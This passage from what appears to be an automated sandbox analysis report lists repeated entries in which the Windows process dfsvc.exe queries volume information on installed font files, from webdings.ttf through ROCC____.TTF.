Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\userFR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\userFI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\userFB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\userST.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\userSTI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\userSTB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\userSTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
